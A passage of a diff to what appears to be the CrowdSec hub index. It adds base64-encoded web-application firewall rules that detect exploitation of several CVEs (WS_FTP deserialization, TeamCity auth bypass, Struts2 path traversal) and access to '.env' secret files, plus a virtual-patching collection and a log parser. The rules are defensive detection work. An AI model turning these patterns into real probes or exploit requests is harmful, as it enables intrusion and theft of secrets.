+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtNDAwNDQKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtNDAwNDQgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL2FodC8KICAgIC0gem9uZXM6CiAgICAgIC0gTUVUSE9ECiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiBQT1NUCiAgICAtIHpvbmVzOgogICAgICAtIEJPRFlfQVJHUwogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gYjY0ZGVjb2RlCiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGNvbnRhaW5zCiAgICAgICAgdmFsdWU6ICI8czpzdHJpbmc+Y21kPC9zOnN0cmluZz4iCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgc2VydmljZTogaHR0cAogIGNvbmZpZGVuY2U6IDMKICBzcG9vZmFibGU6IDAKICBiZWhhdmlvcjogImh0dHA6ZXhwbG9pdCIKICBsYWJlbDogIldTX0ZUUCAuTkVUIGRlc2VyaWFsaXplIFJDRSAoQ1ZFLTIwMjMtNDAwNDQpIgogIGNsYXNzaWZpY2F0aW9uOgogICAtIGN2ZS5DVkUtMjAyMy00MDA0NAogICAtIGF0dGFjay5UMTU5NQogICAtIGF0dGFjay5UMTE5MAogICAtIGN3ZS5DV0UtNTAyCgoK",
+ "description": "Detect CVE-2023-40044 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-40044",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-502"
+ ],
+ "confidence": 3,
+ "label": "WS_FTP .NET deserialize RCE (CVE-2023-40044)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-42793": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-42793.yaml",
+ "version": "0.1",
+ "versions": {
+ "0.1": {
+ "digest": "86fb6a193e9799612bf00b67894f7aabe4482f024a012f305b2cfa910384aa73",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtNDI3OTMKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtNDI3OTMiCnJ1bGVzOgogIC0gem9uZXM6CiAgICAtIFVSSQogICAgdHJhbnNmb3JtOgogICAgLSBsb3dlcmNhc2UKICAgIG1hdGNoOgogICAgICB0eXBlOiBlbmRzV2l0aAogICAgICB2YWx1ZTogL3JwYzIKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiSmV0QnJhaW5zIFRlYW1jaXR5IGF1dGggYnlwYXNzIChDVkUtMjAyMy00Mjc5MykiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIzLTQyNzkzCiAgIC0gYXR0YWNrLlQxNTk1CiAgIC0gYXR0YWNrLlQxMTkwCiAgIC0gY3dlLkNXRS0yODgK",
+ "description": "Detect CVE-2023-42793",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-42793",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-288"
+ ],
+ "confidence": 3,
+ "label": "JetBrains Teamcity auth bypass (CVE-2023-42793)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-50164": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-50164.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "2af3917de29ccf7f71d43b78502602568b2d4582769e62ffb9c195fcfab33e90",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "05c4eb4526d99bc0c9cbefbcc60e2fde6f93f5b0f41ea500565f791ae57ed67e",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtNTAxNjQKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtNTAxNjQgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogdXBsb2FkLmFjdGlvbgogICAgLSB6b25lczoKICAgICAgLSBNRVRIT0QKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6IFBPU1QKICAgIC0gem9uZXM6CiAgICAgIC0gQk9EWV9BUkdTCiAgICAgIC0gQVJHUwogICAgICB2YXJpYWJsZXM6CiAgICAgIC0gdXBsb2FkRmlsZU5hbWUKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogY29udGFpbnMKICAgICAgICB2YWx1ZTogIi4uLyIKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiQXBhY2hlIFN0cnV0czIgKENWRS0yMDIzLTUwMTY0KSIKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBjdmUuQ1ZFLTIwMjMtNTAxNjQKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTU1MgoKCg==",
+ "description": "Detect CVE-2023-50164 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-50164",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-552"
+ ],
+ "confidence": 3,
+ "label": "Apache Struts2 (CVE-2023-50164)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-env-access": {
+ "path": "appsec-rules/crowdsecurity/vpatch-env-access.yaml",
+ "version": "0.1",
+ "versions": {
+ "0.1": {
+ "digest": "ae22c494fb05801bc4886564e63927ccc248be20b1d1dc31f1011a27a4d75cbe",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtZW52LWFjY2VzcwpkZXNjcmlwdGlvbjogIkRldGVjdCBhY2Nlc3MgdG8gLmVudiBmaWxlcyIKcnVsZXM6CiAgLSB6b25lczoKICAgIC0gVVJJCiAgICB0cmFuc2Zvcm06CiAgICAtIGxvd2VyY2FzZQogICAgbWF0Y2g6CiAgICAgIHR5cGU6IGVuZHNXaXRoCiAgICAgIHZhbHVlOiAvLmVudgpsYWJlbHM6CiAgdHlwZTogc2NhbgogIHNlcnZpY2U6IGh0dHAKICBjb25maWRlbmNlOiAzCiAgc3Bvb2ZhYmxlOiAwCiAgYmVoYXZpb3I6ICJodHRwOnNjYW4iCiAgbGFiZWw6ICJBY2Nlc3MgdG8gLmVudiBmaWxlIgogIGNsYXNzaWZpY2F0aW9uOgogICAtIGF0dGFjay5UMTU5NQogICAtIGF0dGFjay5UMTE5MAo=",
+ "description": "Detect access to .env files",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:scan",
+ "classification": [
+ "attack.T1595",
+ "attack.T1190"
+ ],
+ "confidence": 3,
+ "label": "Access to .env file",
+ "service": "http",
+ "spoofable": 0,
+ "type": "scan"
+ }
+ }
+ },
"collections": {
"Dominic-Wagner/vaultwarden": {
"path": "collections/Dominic-Wagner/vaultwarden.yml",
@@ -530,6 +1243,97 @@
"crowdsecurity/vsftpd"
]
},
+ "crowdsecurity/appsec-crs": {
+ "path": "collections/crowdsecurity/appsec-crs.yaml",
+ "version": "0.4",
+ "versions": {
+ "0.1": {
+ "digest": "61d5e358aa86b872300e540be39b066c278567c4948bb74d4e4f339bbb126154",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "a9f36fac18d19edcb0c3a2a4ff3d58570fc407ac39fb9447e9dac7510184fd47",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "7f56cb3fa217f983d1648e6aea36d399be444e09046c0b5b23e7eb55480eaf89",
+ "deprecated": false
+ },
+ "0.4": {
+ "digest": "a9f36fac18d19edcb0c3a2a4ff3d58570fc407ac39fb9447e9dac7510184fd47",
+ "deprecated": false
+ }
+ },
+ "long_description": "IyBNb2RTZWN1cml0eSBDUlMKCg==",
+ "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvYXBwc2VjLWxvZ3MKYXBwc2VjLWNvbmZpZ3M6CiAgLSBjcm93ZHNlY3VyaXR5L2NycwphcHBzZWMtcnVsZXM6CiAgLSBjcm93ZHNlY3VyaXR5L2NycwpkZXNjcmlwdGlvbjogIkFwcHNlYzogTW9kc2VjdXJpdHkgY29yZSBydWxlIHNldCBydWxlcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gaHR0cAogIC0gYXBwc2VjCiAgLSBtb2RzZWN1cml0eQo=",
+ "description": "Appsec: Modsecurity core rule set rules",
+ "author": "crowdsecurity",
+ "labels": null,
+ "parsers": [
+ "crowdsecurity/appsec-logs"
+ ],
+ "appsec-rules": [
+ "crowdsecurity/crs"
+ ],
+ "appsec-configs": [
+ "crowdsecurity/crs"
+ ]
+ },
+ "crowdsecurity/appsec-virtual-patching": {
+ "path": "collections/crowdsecurity/appsec-virtual-patching.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "a165d638c8d826a932e4ca4e70ec5379d558a0bee1356e871c7c92cc2df714fc",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "4bacd3307cc84a5498d0939c83df3eccf40f430d4eedbdc1f7e7ae1fb8b71676",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "28962f063f10702629018df810167378d8250185ab8d64f4f5d1454b14dd1d4f",
+ "deprecated": false
+ }
+ },
+ "long_description": "IyBBcHBTZWMgVmlydHVhbCBQYXRjaGluZwoKVGhpcyBjb2xsZWN0aW9uIGNvbnRhaW5zIHZpcnR1YWwgcGF0Y2hpbmcgZm9yIGNvbW1vbmx5IGV4cGxvaXRlZCB2dWxuZXJhYmlsaXRpZXMsIGFuZCBpcyBpbnNwaXJlZCBmcm9tIHRoZSBbQ0lTQSBLbm93biBFeHBsb2l0ZWQgVnVsbmVyYWJpbGl0aWVzIENhdGFsb2ddKGh0dHBzOi8vd3d3LmNpc2EuZ292L2tub3duLWV4cGxvaXRlZC12dWxuZXJhYmlsaXRpZXMtY2F0YWxvZykuIFRoZSBnb2FsIGlzIHRvIHByb3ZpZGUgdmlydHVhbCBwYXRjaGluZyBjYXBhYmlsaXRpZXMgZm9yIHRoZSBvZnRlbiBleHBsb2l0ZWQgdnVsbmVyYWJpbGl0aWVzLCBhdm9pZGluZyBmYWxzZSBwb3NpdGl2ZXMgd2hpbGUgY2F0Y2hpbmcgcG9wbGUgc2NvdXRpbmcgeW91ciBhcHBsaWNhdGlvbnMgZm9yIGp1aWN5IHZ1bG5lcmFiaWxpdGllcy4K",
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9hcHBzZWMtdmlydHVhbC1wYXRjaGluZwphcHBzZWMtcnVsZXM6CiAgLSBjcm93ZHNlY3VyaXR5L2Jhc2UtY29uZmlnCiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1lbnYtYWNjZXNzCiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1DVkUtMjAyMy00MDA0NAogIC0gY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMTctOTg0MQogIC0gY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjAtMTE3MzgKICAtIGNyb3dkc2VjdXJpdHkvdnBhdGNoLUNWRS0yMDIyLTI3OTI2CiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1DVkUtMjAyMi0zNTkxNAogIC0gY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjItNDYxNjkKICAtIGNyb3dkc2VjdXJpdHkvdnBhdGNoLUNWRS0yMDIzLTIwMTk4CiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1DVkUtMjAyMy0yMjUxNQogIC0gY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtMzM2MTcKICAtIGNyb3dkc2VjdXJpdHkvdnBhdGNoLUNWRS0yMDIzLTM0MzYyCiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1DVkUtMjAyMy0zNTE5CiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1DVkUtMjAyMy00Mjc5MwogIC0gY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtNTAxNjQKICAtIGNyb3dkc2VjdXJpdHkvdnBhdGNoLUNWRS0yMDIzLTM4MjA1CiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1DVkUtMjAyMy0yNDQ4OQogIC0gY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjEtMzEyOQogIC0gY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjEtMjI5NDEKICAtIGNyb3dkc2VjdXJpdHkvdnBhdGNoLUNWRS0yMDE5LTEyOTg5CiAgLSBjcm93ZHNlY3VyaXR5L3ZwYXRjaC1DVkUtMjAyMi00NDg3NwphcHBzZWMtY29uZmlnczoKICAtIGNyb3dkc2VjdXJpdHkvdmlydHVhbC1wYXRjaGluZwpwYXJzZXJzOgogIC0gY3Jvd2RzZWN1cml0eS9hcHBzZWMtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L2FwcHNlYy12cGF0Y2gKZGVzY3JpcHRpb246ICJhIGdlbmVyaWMgdmlydHVhbCBwYXRjaGluZyBjb2xsZWN0aW9uLCBzdWl0YWJsZSBmb3IgbW9zdCB3ZWIgc2VydmVycy4iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQoK",
+ "description": "a generic virtual patching collection, suitable for most web servers.",
+ "author": "crowdsecurity",
+ "labels": null,
+ "parsers": [
+ "crowdsecurity/appsec-logs"
+ ],
+ "scenarios": [
+ "crowdsecurity/appsec-vpatch"
+ ],
+ "appsec-rules": [
+ "crowdsecurity/base-config",
+ "crowdsecurity/vpatch-env-access",
+ "crowdsecurity/vpatch-CVE-2023-40044",
+ "crowdsecurity/vpatch-CVE-2017-9841",
+ "crowdsecurity/vpatch-CVE-2020-11738",
+ "crowdsecurity/vpatch-CVE-2022-27926",
+ "crowdsecurity/vpatch-CVE-2022-35914",
+ "crowdsecurity/vpatch-CVE-2022-46169",
+ "crowdsecurity/vpatch-CVE-2023-20198",
+ "crowdsecurity/vpatch-CVE-2023-22515",
+ "crowdsecurity/vpatch-CVE-2023-33617",
+ "crowdsecurity/vpatch-CVE-2023-34362",
+ "crowdsecurity/vpatch-CVE-2023-3519",
+ "crowdsecurity/vpatch-CVE-2023-42793",
+ "crowdsecurity/vpatch-CVE-2023-50164",
+ "crowdsecurity/vpatch-CVE-2023-38205",
+ "crowdsecurity/vpatch-CVE-2023-24489",
+ "crowdsecurity/vpatch-CVE-2021-3129",
+ "crowdsecurity/vpatch-CVE-2021-22941",
+ "crowdsecurity/vpatch-CVE-2019-12989",
+ "crowdsecurity/vpatch-CVE-2022-44877"
+ ],
+ "appsec-configs": [
+ "crowdsecurity/virtual-patching"
+ ]
+ },
"crowdsecurity/asterisk": {
"path": "collections/crowdsecurity/asterisk.yaml",
"version": "0.1",
@@ -3206,6 +4010,37 @@
"author": "crowdsecurity",
"labels": null
},
+ "crowdsecurity/appsec-logs": {
+ "path": "parsers/s01-parse/crowdsecurity/appsec-logs.yaml",
+ "stage": "s01-parse",
+ "version": "0.5",
+ "versions": {
+ "0.1": {
+ "digest": "b6de996d25dcbbbda4889fea9e8b05559660c54ea2ed7202430741ef40141179",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "20fe00d38f9756169fb5d56027e5c26085e038f699a18d17be94ad6b0da14447",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "24ea66d28ee00e9bef266b86fc56ed9e7a95e8f36027765b99389f0b4ed8c2d3",
+ "deprecated": false
+ },
+ "0.4": {
+ "digest": "60b45bc8957dfc40f270500b8ef438085294fc172c92332dcb9dcb3c14cc9c85",
+ "deprecated": false
+ },
+ "0.5": {
+ "digest": "e44f2877c363061fef239a9af472253900674bf261e8762febd06d7ef20022a0",
+ "deprecated": false
+ }
+ },
+ "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZvcm1hdDogMy4wCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2FwcHNlYyciCm5hbWU6IGNyb3dkc2VjdXJpdHkvYXBwc2VjLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBBcHBzZWMgZXZlbnRzIgpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGFwcHNlYwogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgLSBtZXRhOiB0YXJnZXRfaG9zdAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudGFyZ2V0X2hvc3QiCiAgLSBtZXRhOiByZXF1ZXN0X3V1aWQKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnJlcV91dWlkIgogIC0gbWV0YTogdGFyZ2V0X3VyaQogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudGFyZ2V0X3VyaSIKI3dhcyB0aGUgcmVxdWVzdCBibG9ja2VkID8KICAtIG1ldGE6IGxvZ190eXBlCiAgICBleHByZXNzaW9uOiB8CiAgICAgIGV2dC5BcHBzZWMuSGFzSW5CYW5kTWF0Y2hlcyA/ICJhcHBzZWMtYmxvY2siIDogImFwcHNlYy1pbmZvIgogIC0gbWV0YTogcnVsZV9uYW1lCiAgICBleHByZXNzaW9uOiBldnQuQXBwc2VjLkdldE5hbWUoKQogIC0gbWV0YTogcnVsZV9pZHMKICAgIGV4cHJlc3Npb246IFNwcmludGYoIiUrdiIsIGV2dC5BcHBzZWMuR2V0UnVsZUlEcygpKQogIC0gbWV0YTogcmVtZWRpYXRpb25fY21wdF9pcAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVtZWRpYXRpb25fY21wdF9pcCIK",
+ "description": "Parse Appsec events",
+ "author": "crowdsecurity",
+ "labels": null
+ },
"crowdsecurity/asterisk-logs": {
"path": "parsers/s01-parse/crowdsecurity/asterisk-logs.yaml",
"stage": "s01-parse",
@@ -3308,7 +4143,7 @@
"crowdsecurity/caddy-logs": {
"path": "parsers/s01-parse/crowdsecurity/caddy-logs.yaml",
"stage": "s01-parse",
- "version": "0.5",
+ "version": "0.6",
"versions": {
"0.1": {
"digest": "30bf81915d8254ab7611c156ddbe0cf389838d471f973403ae1b07fffa5b6d5a",
@@ -3329,10 +4164,14 @@
"0.5": {
"digest": "19673bb9a1ad806c7d615d24c37649f8c0679acb07df9ac304ba23d44eaf0f53",
"deprecated": false
+ },
+ "0.6": {
+ "digest": "856f9882c2aa89d701dce456e97bfb4c5230b7fc83cefc54a8279d7cdac5b8fe",
+ "deprecated": false
}
},
"long_description": "UGFyc2VyIGZvciBjYWRkeSBsb2dzLgpJdCBleHBlY3RzIHRoZSBkZWZhdWx0IGtleSB2YWx1ZXMgZm9yIGNhZGR5IGxvZ3MuCgpZb3UgbmVlZCB0byBzcGVjaWZ5IGNhZGR5IGNvbmZpZyB0byBlbmFibGUgbG9nZ2luZyBpbiBhIGZpbGU6CgpgYGBiYXNoCjo4MCB7CiAgICAgICAgIyBTZXQgdGhpcyBwYXRoIHRvIHlvdXIgc2l0ZSdzIGRpcmVjdG9yeS4KICAgICAgICByb290ICogL3Vzci9zaGFyZS9jYWRkeQoKICAgICAgICAjIEVuYWJsZSB0aGUgc3RhdGljIGZpbGUgc2VydmVyLgogICAgICAgIGZpbGVfc2VydmVyCgogICAgICAgICMgQW5vdGhlciBjb21tb24gdGFzayBpcyB0byBzZXQgdXAgYSByZXZlcnNlIHByb3h5OgogICAgICAgICMgcmV2ZXJzZV9wcm94eSBsb2NhbGhvc3Q6ODA4MAoKICAgICAgICAjIE9yIHNlcnZlIGEgUEhQIHNpdGUgdGhyb3VnaCBwaHAtZnBtOgogICAgICAgICMgcGhwX2Zhc3RjZ2kgbG9jYWxob3N0OjkwMDAKICAgICAgICBsb2cgewogICAgICAgICAgICAgICAgb3V0cHV0IGZpbGUgL3Zhci9sb2cvY2FkZHkvYWNjZXNzLmxvZwogICAgICAgIH0KfQoKYGBgCgpBbmQgdGhlbiBhZGQgaW4gYWNxdWlzaXRpb24gdGhpcyA6CgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL2NhZGR5L2FjY2Vzcy5sb2cKbGFiZWxzOgogIHR5cGU6IGNhZGR5CmBgYA==",
- "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ2NhZGR5JyAmJiBVbm1hcnNoYWxKU09OKGV2dC5QYXJzZWQubWVzc2FnZSwgZXZ0LlVubWFyc2hhbGVkLCAnY2FkZHknKSBpbiBbJycsIG5pbF0iCm9uc3VjY2VzczogbmV4dF9zdGFnZQpkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2NhZGR5LWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBjYWRkeSBsb2dzIgpzdGF0aWNzOgogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBodHRwX2FjY2Vzcy1sb2cKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IHwKICAgICAgU3ByaW50ZigiJXYiLCBldnQuVW5tYXJzaGFsZWQuY2FkZHkudHMpIG1hdGNoZXMgJ15bMC05ZVxcLlxcK10rJCcgPyBpbnQoZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnRzKSA6IGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS50cwogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGh0dHAKICAjI0NhZGR5IG5vdyBzZXRzIGNsaWVudF9pcCB0byB0aGUgdmFsdWUgb2YgWC1Gb3J3YXJkZWQtRm9yIGlmIHVzZXJzIHNldHMgdHJ1c3RlZCBwcm94aWVzCiAgLSBwYXJzZWQ6IHJlbW90ZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QuY2xpZW50X2lwCiAgLSBwYXJzZWQ6IHJlbW90ZV9hZGRyCiAgICBleHByZXNzaW9uOiAiZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QucmVtb3RlX2FkZHIgIT0gbmlsID8gU3BsaXQoZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QucmVtb3RlX2FkZHIsICc6JylbMF0gOiBuaWwiCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucmVtb3RlX2lwCiAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgZXhwcmVzc2lvbjogaW50KGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS5zdGF0dXMpCiAgLSBtZXRhOiBodHRwX3BhdGgKICAgIGV4cHJlc3Npb246IGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS5yZXF1ZXN0LnVyaQogIC0gcGFyc2VkOiByZXF1ZXN0ICNBZGQgZm9yIGh0dHAtbG9ncyBlbnJpY2hlcgogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QudXJpCiAgLSBwYXJzZWQ6IHZlcmIKICAgIGV4cHJlc3Npb246IGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS5yZXF1ZXN0Lm1ldGhvZAogIC0gbWV0YTogaHR0cF92ZXJiCiAgICBleHByZXNzaW9uOiBldnQuVW5tYXJzaGFsZWQuY2FkZHkucmVxdWVzdC5tZXRob2QKICAtIHBhcnNlZDogaHR0cF91c2VyX2FnZW50CiAgICBleHByZXNzaW9uOiBldnQuVW5tYXJzaGFsZWQuY2FkZHkucmVxdWVzdC5oZWFkZXJzWydVc2VyLUFnZW50J11bMF0KICAtIG1ldGE6IGh0dHBfdXNlcl9hZ2VudAogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QuaGVhZGVyc1snVXNlci1BZ2VudCddWzBdCiAgLSBtZXRhOiB0YXJnZXRfZnFkbgogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QuaG9zdAogIC0gbWV0YTogc3ViX3R5cGUKICAgIGV4cHJlc3Npb246ICJldnQuTWV0YS5odHRwX3N0YXR1cyA9PSAnNDAxJyAmJiBldnQuVW5tYXJzaGFsZWQucmVxdWVzdC5oZWFkZXJzLkF1dGhvcml6YXRpb24gc3RhcnRzV2l0aCAnQmFzaWMgJyA/ICdhdXRoX2ZhaWwnIDogJyci",
+ "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ2NhZGR5JyAmJiBVbm1hcnNoYWxKU09OKGV2dC5QYXJzZWQubWVzc2FnZSwgZXZ0LlVubWFyc2hhbGVkLCAnY2FkZHknKSBpbiBbJycsIG5pbF0iCm9uc3VjY2VzczogbmV4dF9zdGFnZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2NhZGR5LWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBjYWRkeSBsb2dzIgpzdGF0aWNzOgogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBodHRwX2FjY2Vzcy1sb2cKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IHwKICAgICAgU3ByaW50ZigiJXYiLCBldnQuVW5tYXJzaGFsZWQuY2FkZHkudHMpIG1hdGNoZXMgJ15bMC05ZVxcLlxcK10rJCcgPyBpbnQoZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnRzKSA6IGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS50cwogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGh0dHAKICAjI0NhZGR5IG5vdyBzZXRzIGNsaWVudF9pcCB0byB0aGUgdmFsdWUgb2YgWC1Gb3J3YXJkZWQtRm9yIGlmIHVzZXJzIHNldHMgdHJ1c3RlZCBwcm94aWVzCiAgLSBwYXJzZWQ6IHJlbW90ZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QuY2xpZW50X2lwCiAgLSBwYXJzZWQ6IHJlbW90ZV9hZGRyCiAgICBleHByZXNzaW9uOiAiZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QucmVtb3RlX2FkZHIgIT0gbmlsID8gU3BsaXQoZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QucmVtb3RlX2FkZHIsICc6JylbMF0gOiBuaWwiCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucmVtb3RlX2lwCiAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgZXhwcmVzc2lvbjogaW50KGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS5zdGF0dXMpCiAgLSBtZXRhOiBodHRwX3BhdGgKICAgIGV4cHJlc3Npb246IGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS5yZXF1ZXN0LnVyaQogIC0gcGFyc2VkOiByZXF1ZXN0ICNBZGQgZm9yIGh0dHAtbG9ncyBlbnJpY2hlcgogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QudXJpCiAgLSBwYXJzZWQ6IHZlcmIKICAgIGV4cHJlc3Npb246IGV2dC5Vbm1hcnNoYWxlZC5jYWRkeS5yZXF1ZXN0Lm1ldGhvZAogIC0gbWV0YTogaHR0cF92ZXJiCiAgICBleHByZXNzaW9uOiBldnQuVW5tYXJzaGFsZWQuY2FkZHkucmVxdWVzdC5tZXRob2QKICAtIHBhcnNlZDogaHR0cF91c2VyX2FnZW50CiAgICBleHByZXNzaW9uOiBldnQuVW5tYXJzaGFsZWQuY2FkZHkucmVxdWVzdC5oZWFkZXJzWydVc2VyLUFnZW50J11bMF0KICAtIG1ldGE6IGh0dHBfdXNlcl9hZ2VudAogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNh